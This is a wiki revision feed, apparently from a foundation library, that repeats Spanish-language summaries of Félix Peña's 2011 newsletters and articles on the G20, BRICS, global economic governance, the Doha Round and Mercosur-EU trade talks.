&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1882</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1882"/>
		<updated>2011-04-25T19:18:14Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* NEWSLETTERS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php? contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1855</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1855"/>
		<updated>2011-03-14T23:15:27Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* NEWSLETTERS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1837</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1837"/>
		<updated>2011-03-04T23:12:43Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* ARTÍCULOS Y NOTAS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
